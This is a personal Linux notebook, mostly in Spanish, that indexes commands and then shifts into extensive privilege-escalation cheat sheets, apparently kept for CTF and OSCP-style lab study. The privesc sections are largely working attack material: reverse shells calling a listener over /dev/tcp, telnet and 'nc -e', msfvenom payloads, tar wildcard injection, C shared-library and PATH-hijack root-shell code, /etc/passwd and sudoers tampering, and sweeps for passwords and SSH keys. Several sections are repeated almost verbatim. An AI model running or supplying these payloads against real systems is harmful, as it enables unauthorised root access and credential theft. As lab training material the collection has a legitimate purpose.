Linux Main - Índice de Comandos y Herramientas
Índice central de herramientas Linux: enlaces a guías de comandos, acciones de administración y escalada de privilegios.
ENLACES
crunch echo EMACS basic guide find gobuster gpg
hydra impacket iptables john linpeas METASPLOIT 🍕 mount ncat netcat nmap openssl proxyChains searchsploit
type - apropos wc wfuzz wireshark wpscan xfreerdp
Acciones
Administrar permisos Administrar procesos Administrar red Administrar servicios Administrar usuarios y grupos Conectar a target Enumerar escalar privilegios Escalar rutas Instalar Software inyectar comandos Mejorar una shell Obtener informacion del sistema operativo Realizar busquedas en linux transferir archivos
Linux fundamentals
| Command | Description | |
|---|---|---|
who |
Displays who is logged in. | |
uname |
Prints operating system name. | |
apropos <keyword> |
Searches through man pages' descriptions for instances of a given keyword. | |
column |
Command-line based utility that formats its input into multiple columns. | |
man <tool> |
Opens man pages for the specified tool. | |
<tool> -h |
Prints the help page of the tool. | |
cat |
Concatenate and print files. | |
whoami |
Displays current username. | |
id |
Returns users identity. | |
hostname |
Sets or prints the name of the current host system. | |
pwd |
Returns working directory name. | |
ifconfig |
The ifconfig utility is used to assign or view an address to a network interface and/or configure network interface parameters. |
|
ip |
Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels. | |
netstat |
Shows network status. | |
ss |
Another utility to investigate sockets. | |
ps |
Shows process status. | |
env |
Prints environment or sets and executes a command. | |
lsblk |
Lists block devices. | |
lsof |
Lists opened files. | |
lsusb |
Lists USB devices. | |
lspci |
Lists PCI devices. | |
sudo |
Execute command as a different user. | |
su |
The su utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed. |
|
useradd |
Creates a new user or update default new user information. | |
userdel |
Deletes a user account and related files. | |
usermod |
Modifies a user account. | |
addgroup |
Adds a group to the system. | |
delgroup |
Removes a group from the system. | |
passwd |
Changes user password. | |
dpkg |
Install, remove and configure Debian-based packages. | |
apt |
High-level package management command-line utility. | |
aptitude |
Alternative to apt. |
|
snap |
Install, remove and configure snap packages. | |
gem |
Standard package manager for Ruby. | |
pip |
Standard package manager for Python. | |
git |
Revision control system command-line utility. | |
systemctl |
Command-line based service and systemd control manager. | |
ps |
Prints a snapshot of the current processes. | |
journalctl |
Query the systemd journal. | |
kill |
Sends a signal to a process. | |
bg |
Puts a process into background. | |
jobs |
Lists all processes that are running in the background. | |
fg |
Puts a process into the foreground. | |
curl |
Command-line utility to transfer data from or to a server. | |
wget |
An alternative to curl that downloads files from FTP or HTTP(s) server. |
|
ls |
Lists directory contents. | |
cd |
Changes the directory. | |
clear |
Clears the terminal. | |
touch |
Creates an empty file. | |
mkdir |
Creates a directory. | |
tree |
Lists the contents of a directory recursively. | |
mv |
Move or rename files or directories. | |
cp |
Copy files or directories. | |
nano |
Terminal based text editor. | |
which |
Returns the path to a file or link. | |
| find | Searches for files in a directory hierarchy. | |
updatedb |
Updates the locale database for existing contents on the system. | |
locate |
Uses the locale database to find contents on the system. | |
more |
Pager that is used to read STDOUT or files. | |
less |
An alternative to more with more features. |
|
head |
Prints the first ten lines of STDOUT or a file. | |
tail |
Prints the last ten lines of STDOUT or a file. | |
| sort | Sorts the contents of STDOUT or a file. | |
| grep | Searches for specific results that contain given patterns. | |
cut |
Removes sections from each line of files. | |
| tr | Replaces certain characters. | |
| awk | Pattern scanning and processing language. | |
| sed | A stream editor for filtering and transforming text. | |
wc |
Prints newline, word, and byte counts for a given input. | |
chmod |
Changes permission of a file or directory. | |
chown |
Changes the owner and group of a file or directory. | |
python3 -m http.server |
Starts a Python3 web server on TCP port 8000. | |
tee |
lee la entrada estándar, muestra la salida y la guarda en uno o más archivos al mismo tiempo; ejemplo: ls -l | tee file_list.txt :muestra la salida y lo guarda en un archivo | |
Managing Hard Disks
hda for hard disks.
sda for newer SATA disks (SCSI).
Partitions within sda are sda1, sda2, ...
- Basic disk Information:
df -h - Partitions on disk:
fdsisk -l - Block device information:
lsblk - Editing and displaying partitions:
parted/cfdisk(parted) print(parted) select /dev/sdb
- Change HDD parameters:
hdparm
inetd, xinetd
ps aux | grep "inetd": inetd siempre corre en el background y decide si iniciar o detener otros daemons
rlinetd
rlinetd.conf
/etc/rlinetd.d
- Disable unnecessary demons
- Configure IPs that can access a demon
Important files 🍊
- Nmonic
/etc/...:ho,re,ne,pro,bash,is,os,se,cr,ap,
Order of name resolution
Este archivo configura el orden y las fuentes desde las cuales el sistema obtiene información sobre usuarios, grupos y otros servicios de nombres.
/etc/nsswitch.conf
Bootloader - GRUB2
Main configuration file (replaces menu.lst in GRUB (v1))
/boot/grub/grub.cfg
Directory contains the scripts that build the grub.cfg
/etc/grub.d
00_header- Loads the settings from/etc/default/grub05_debian_theme- Defines the colors, background, etc.10_linux- Loads the menu entries20_memtest86- Loads the memory tester30_os-prober- Scans the hard drives for other operating systems40_custom- Template for manually adding other menu entries
File contains the GRUB menu settings
/etc/default/grub
Run update-grub after modifying.
Samba
/etc/samba/smb.conf
Syslog ❌
/etc/rsyslog.conf
Log mail events of all priorities to /var/log/mail.
mail.* /var/log/mail
*.emerg *
Log all events of the emergency priority (emerg) to all logged on users.
Hardware information
- Nmonic ls... = cpu,usb,pci,of
CPU Information
lscpu
cat /proc/cpuinfo
Networking
- Nmonic : /etc/re,ne
Interface Information
/sbin/ifconfig -a
cat /etc/network/interfaces
Network configuration
cat /etc/resolv.conf
cat /etc/networks
iptables -L
dnsdomainname
Monitor network communication
- Nmonic : LAS W
lsof -i :8080
grep 80 /etc/services
netstat -natup
last
w
Cached IP and Mac Information
arp -e
route
route -nee
Change IP
ifconfig eth0 192.168.1.115
ifconfig eth0 192.168.1.115 netmask 255.255.255.0 broadcast 192.168.1.255
Shell with built-in tools
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
AF_UNIX
Used to communicate between processes on the same machine
AF_INET and AF_INET6
Used for processes to communicate over a network connection.
Interact with AF_UNIX Socket
nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1
Tools
File Permissions
- Check file permissions of /etc/passwd and /etc/shadow
Find writable files
find -type f -maxdepth 1 -writable
Generate password hash (md5):
openssl passwd -1
echo 'joske' | openssl passwd -1 -stdin
Generate password hash (sha256):
python -c "import crypt; print crypt.crypt('joske')"
Commands with sudo
sudo -l
New file Permissions
umask
Important Payloads
- Mempodipper compiled (Ubuntu 11 -> gimmeroot.c)
Exploits
- Ubuntu (<= 18.10) - Dirty Sock: https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html
- Ubuntu 14.04 and 16.04: (CVE-2017-1000112) https://cxsecurity.com/issue/WLB-2018010018
- Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2)
overlayfs
- Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation: https://www.exploit-db.com/exploits/37292
- Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1): https://www.exploit-db.com/exploits/39166
- Linux Kernel 4.3.3 - 'overlayfs' Local Privilege Escalation (2): https://www.exploit-db.com/exploits/39230
Tools
- unix-privesc-check: https://github.com/pentestmonkey/unix-privesc-check
- Linux: linuxprivchecker.py - http://www.securitysift.com/download/linuxprivchecker.py
- Linux: LinEnum - https://github.com/rebootuser/LinEnum
References
- Linux Local Privilege Escalation via SUID /proc/pid/mem Write - https://git.zx2c4.com/CVE-2012-0056/about/
Linux privilege escalation2
Spawn Interactive Shell and set env
python -c 'import pty;pty.spawn("/bin/bash");'
ctrl z
echo $TERM
stty -a
stty raw -echo
fg
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
export TERM=xterm256-color
export SHELL=bash
stty rows \<> colums \<>
Restricted bash
perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
/bin/sh -i
ssh user@$ip nc $localip 4444 -e /bin/sh
export TERM=linux
Check environment
Check any restricitions on any folders
mount -l >> any no exec or no suid?
Check any unmounted drives
cat /etc/fstab
SUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID < full search
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin < quicker
-find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / perm /u=s -user "User name that you are looking for" 2>/dev/null
Writable file and nobody files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
Writable by current user
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
Any script files that we can modify?
find / -writable -type f -name "*.py" 2>/dev/null #find all python file that can be write by us
ls -aRl / | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl / | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl / | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl / | awk '$1 ~ /w.$/' 2>/dev/null # Other
find / -readable -type f 2>/dev/null # Anyone
find / -readable -type f -maxdepth 1 2>/dev/null # Anyone
Any service running by root?
ps aux|grep "root"
/usr/bin/journalctl (Which is normally not readable by a user) << cron job?
Find password
grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always
Exploit Time
SUID
Is suid bit set on these applications?
Nmap
nmap -V <Nmap version 2.02 - 5.21 had an interactive mode
nmap --interactive
nmap> !sh
Vim
Modify system file, e.g. passwd?
vim.tiny
- Press ESC key
:set shell=/bin/sh
:shell
find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
Bash
bash -p
More
Less
less /etc/passwd
!/bin/sh
Nano
Can you modify system file?
Modify /etc/suoders
\<user> ALL=(ALL) NOPASSWD:ALL
cp
Use cp to overwrite passwd with a new password
Is there a custom suid application?
How can this application be run?
Can be modify the path variable so that it will execute something else
NFS priv esc
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb
Linux capability
find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
getcap -r /
google that capability on how it can help us get root
Mysql run by root
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library https://www.exploit-db.com/exploits/1518/
You can also try
select sys_exec('echo test>/tmp/test.txt');
select sys_eval('echo test>/tmp/test.txt');
realiza lecturas de archivos de forma mas limpia pipeandolo hacia less
permisos debiles /etc/shadow
- requisito : entiende el formato de /etc/passwd y /etc/shadow
lectura
- comprueba :
ls -l /etc/shadow=-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow - copia el usuario deseado y su password
- realiza un unshadow
- crackea con john
escritura
- si tiene permiso de escritura, genera un password
mkpasswd -m sha-512 newpasswordhere- luego reemplaza la password del usuario root con la password generada
permisos debiles /etc/passwd
- genera un password
openssl passwd newpasswordhere
newroot:PasswordGenerada:0:0:root:/root:/bin/bash
- accede :
su newroot
Sudo -l - secuencias de escape de shell
- para este tipo de escalada usa https://gtfobins.github.io/gtfobins/ftp/#sudo
hay 3 servicios que al tener permisos root se escalan ejecutando
!/bin/sh
ejemplo con vim:
sudo vim
:!/bin/sh
cronjobs
cronjobs - variable de environment
- identifica un cronjob que puedas editar
- localizlo con
locate NombreArchivo - luego remplaza el contenido del archivo con un reverse shell y ponte en esucha; ejemplo :
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
cronjobs - script que usa wildcards
View the contents of the other cron job script:
cat /usr/local/bin/compress.sh
Note that the tar command is being run with a wildcard (*) in your home directory.
Take a look at the GTFOBins page for tar. Note that tar has command line options that let you run other commands as part of a checkpoint feature.
Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
Transfer the shell.elf file to /home/user/ on the Debian VM (you can use scp or host the file on a webserver on your Kali box and use wget). Make sure the file is executable:
chmod +x /home/user/shell.elf
Create these two files in /home/user:
touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf
When the tar command in the cron job runs, the wildcard (*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.
Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.
nc -nvlp 4444
Remember to exit out of the root shell and delete all the files you created to prevent the cron job from executing again:
rm /home/user/shell.elf rm /home/user/--checkpoint=1 rm /home/user/--checkpoint-action=exec=shell.elf
SUID GUID
known exploits
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
- luego busca un exploit para lo encontrado : https://www.exploit-db.com/
shared obj injection
- https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-privilege-escalation-by-overriding-shared-library/
- aplicarlo depende mucho de la situacion, pero creo que es asi:
- localizacion del archivo SUID
- Run strace on the file and search the output for open/access calls and for "no such file" errors:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"luego vemos que intenta llamar un archivo, asi que lo reemplzamos con un payload que nos devuelva una shell root, compilandollo
# -fPIC: Generate Position Independent Code.
# -shared: Generate a shared library.
# -o: Output shared object. (en la ruta donde el SUID GUID file lo busca)
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
SUID/SGID Variables de entorno : archivo llama a servicio
- luego de listar los binarios SUID/SGID
- lanzamos strings
- vemos por ejemplo esto :
service start apache2 - por lo que haremos uso de un payload que ejecute una shell de root
root@debian:~# cat /home/user/tools/suid/service.c
int main() {
setuid(0);
system("/bin/bash -p");
}
- luego lo compilaremos
gcc -o service exploit.c - y lo agregamos al PATH para que ejecute nuestro payload en vez de apache 2 (en este ejemplo)
PATH=.:$PATH - y luego ejecutamos el archivo con permisos SUID/SGID que identiificamos que hace una llamada al servicio
passwords and keys
history files
- ocurre cuando un usuario al ejecutar un comando ingresa su password y esta se almacena en el history file
cat ~/.*history | less
config files
- usualmente los archivos de configuracion requieren guarar contrasenas
ssh keys
- cuando las claves ssh tiene world readable permisos, entonces puedes leerlo y copiarlo a tu maquina para hacer ssh a la maquina
Root squashing
- verifica los permisos
cat /etc/exportsEn kali:
# entramos a sudo para no escribir sudo
sudo su
# creamos el directorio para montar el NFS del target hacia nuestra maquina kali
mkdir /tmp/nfs
# montamos
mount -o rw,vers=2 IP_TARGET:/tmp /tmp/nfs/
# a partir de aqui creamos un payload o script para luego darle permisos
chmod +xs
# luego ejecutamos ese mismso script en la maquina target
Linux Privilege Escalation
linpeas.sh is a good starting point - go through everything listed in its output. But in case you are not getting anything, manual checks will help:
id
# check which groups you are part of - some groups have more permissions
ls -la
# search all files in home directory and go through them
# tip - use the 'file' command to quickly check what type of file it is - if it is of use, we can transfer it to our machine
ls -la /home
# check all users
# if possible go through their directories
# we can have interesting folders like '.ssh' or '.mozilla'
sudo -l
# if we have password, check the commands we can run as root or other user/group
# this command will also show if we have LD_PRELOAD set for example
history
# check previous commands
# if we have a web directory, enumerate it completely for any creds
ls -la /var/www/
find / -perm -222 -type d 2>/dev/null
# search world-writable folders
find / -type f -iname ".*" -ls 2>/dev/null
# search all hidden files
find / -type f -user joe 2>/dev/null
# search files owned by 'joe'
find / -group userGroup 2>/dev/null
# search files owned by 'userGroup'
find / -type f -perm -04000 -ls 2>/dev/null
# find files that have SUID
grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null
# check password strings
# for extended password hunting, check the PasswordAttacks module from HTB
# it includes a section on finding creds
find / -perm -u=s -type f 2>/dev/null
# check SUID binaries - for exploits, check GTFOBins
find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null
# check for SSH keys
cat /etc/exports
# check for 'no_root_squash'
# in some cases, there are unknown or offbeat SUID binaries, they should be checked first
# run those binaries and try to understand how it works
# see how it responds to input, certain binaries can be exploited through buffer overflow, ret2libc, etc.
# if required, transfer to attacker machine and reverse engineer with Ghidra - we can check function code, strings
# we can also upload the binary to an online tool like Decompiler Explorer, and copy-paste the output code in ChatGPT for an overview
ls -la /mnt
# check if anything is mounted
lsblk
# list blocks
# for any interesting binaries or anything with a name or version attached, research for known exploits
# linpeas would not help here, so we need to manually check
cat /etc/crontab
# check scheduled jobs
./pspy64
# check processes running in background using pspy
# also, if any interesting programs are found, like Python or Bash scripts
# try to understand how it works and if that can be exploited
# using methods like library hijacking, tar wildcard injection
ls -la /etc/update-motd.d/
# check if we have any writable banner or MOTD files
mysql -u root -p
# enumerate internal services such as mysql
# with known or common passwords
env
# check for specific env variables set
# like env_keep+=LD_PRELOAD
# if there is a script to be modified
# and we do not have write access to script but write access to directory
# we can create another evil script in same directory and create a symbolic link
ss -ltnp
# check internal services for open ports
# if unusual ports are seen here, it could be checked further
getcap -r / 2>/dev/null
# check capabilities
# check if the target box is a Docker image
# so that we can break out of it
hostname
# random hostname
ls -la /
# includes .dockerenv
cat /proc/1/cgroup
# includes 'docker' in paths
ifconfig
# check machine IP; we can also run 'hostname -i'
# if we are in a Docker env, we can check internal ports
# using a primitive bash port-scanner to check internal services
# we can also consider a ping-sweep to check for other machines in same network - for example
for i in {1..255}; do (ping -c 1 172.18.0.${i} | grep "bytes from" &); done
# this step should be considered only when no other privesc vectors have been identified on machine
# example - if we have access to MySQL DB, we can inject PHP code into table
# and save table to file on remote system - then we can get RCE using curl
# if pivoting into other machines in same network is required
# we can look into sshuttle and scanning other internal hosts using a ping sweep - check THM Holo room
Linux privilege escalation 3
Spawn Interactive Shell and set env
python -c 'import pty;pty.spawn("/bin/bash");'
ctrl z
echo $TERM
stty -a
stty raw -echo
fg
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
export TERM=xterm256-color
export SHELL=bash
stty rows \<> colums \<>
Restricted bash
perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
/bin/sh -i
ssh user@$ip nc $localip 4444 -e /bin/sh
export TERM=linux
Automated scripts
linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggester
Check environment
Check OS and Kernel
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat base
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
Check environment variables
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
# Is there a printer
lpstat -a
Check any restricitions on any folders
mount -l >> any no exec or no suid?
Check any unmounted drives
cat /etc/fstab
Applications and services
Running application / services
ps aux
ps -ef
top
cat /etc/services
ps aux | grep root
ps -ef | grep root
Installed applications - Check for vulnerable versions
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
pspy4 - to capture change in processes
Application config files
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
Jobs / CRONS
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
ls -al /var/cron.log - check timestamps
# If cron entries have relative paths, and If path is editable by user, cron entries can be hijacked by adding custom path to PATH variable
export PATH=/tmp:$PATH
# If Cron entris have wildcards, eg. tar with a (*)wildcard can be hijacked by using below on the folder
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
# Check permissions on cron binaries , overwrite possible?
# Check for frequent CRONS running in bg
# You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
# For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
# https://github.com/DominicBreuker/pspy
SystemD timers
systemctl list-timers -all
# watch for recently executed timers
USER and sensitive info
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
## Check for Sensitive info
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -ahlR /root/
ls -ahlR /home/
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
## SSH KEYS
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
Find SUID Files
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID < full search
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin < quicker
-find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / perm /u=s -user "User name that you are looking for" 2>/dev/null
Writable file and nobody files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
Writable by current user
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
Any script files that we can modify?
find / -writable -type f -name "*.py" 2>/dev/null #find all python file that can be write by us
ls -aRl / | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl / | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl / | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl / | awk '$1 ~ /w.$/' 2>/dev/null # Other
find / -readable -type f 2>/dev/null # Anyone
find / -readable -type f -maxdepth 1 2>/dev/null # Anyone
Any service running by root?
ps aux|grep "root"
/usr/bin/journalctl (Which is normally not readable by a user) << cron job?
Find password
grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always
Interesting files
Files modified in the last 5 mins
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB files
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
All hidden files
find / -type f -iname ".*" -ls 2>/dev/null
Scrtips in PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
Backup files
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll
Exploitation techniques
SUID
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null
Check GTFOBins
Is suid bit set on these applications?
Nmap
nmap -V <Nmap version 2.02 - 5.21 had an interactive mode
nmap --interactive
nmap> !sh
Vim
Modify system file, e.g. passwd?
vim.tiny
- Press ESC key
:set shell=/bin/sh
:shell
find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
Bash
bash -p
More
Less
less /etc/passwd
!/bin/sh
Nano
Can you modify system file?
Modify /etc/suoders
\<user> ALL=(ALL) NOPASSWD:ALL
cp
Use cp to overwrite passwd with a new password
Is there a custom SUID / SUDO application?
How can this application be run?
Can be modify the path variable so that it will execute something else
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \
Operation of this application
#Look for scripts, operation, relative paths, permissions
strings customapp
#Loading shared libararies – use strace to trace a suid file and check for non existent lib files. Compile a lib file in C and put it in the missing location
#https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
strace /usr/local/bin/customapp 2>&1 | grep -i -E "open|access|no such file"
strace /usr/local/bin/customapp
------Below can be used to compile----
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
-----------------------------------------
gcc -shared -o /home/user/missing.so -fPIC /home/user/missing.c
#Check for SUID binarys/applications vulnerable to symlink attacks
> check for nginxroot vulnerability
#PATH hijacking
strings /usr/local/bin/suid-env
## if relative path is used
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid-env
## If full service path is specified in the SUID binary, we can still create bash function adn export it to services
function /usr/sbin/serviceX() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/serviceX
/usr/local/bin/suid-env2
## Second method
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
NFS priv esc
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb
Linux capability
find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
getcap -r /
getcap -r / 2>/dev/null
# If we find cap_dac_read_search # read anything
# cap_setuid+ep # setuid
google that capability on how it can help us get root
Mysql run by root
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library
https://www.exploit-db.com/exploits/1518/
You can also try
select sys_exec('echo test>/tmp/test.txt');
select sys_eval('echo test>/tmp/test.txt');
SSH bad keys attack
If Authorized_keys is readable, check for the public key content in debian-ssh github for private keys - refer Payload all the things
https://github.com/g0tmi1k/debian-ssh
LINKS
https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
Basic checks
OS version
# Check OS version
cat /etc/issue
cat
/etc/*-release
cat
/etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
Kernel version
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
Environment Variables
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
Juicy files
/etc/*issue
/etc/*release
/proc/version
/etc/profile
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/root
# can see what is the PID or ID of running process, correspond to /etc/passwd see if you can tell which user
/proc/self/status
# Can check what 'user agents', if you have access you may be able to do code execution modifying 'user agents'
/proc/self/environ
# Anything blocking us from bruteforcing?
etc/pam.d/system-auth
etc/fail2ban/fail2ban.conf
# OSX / macOS
/etc/fstab
/etc/master.passwd
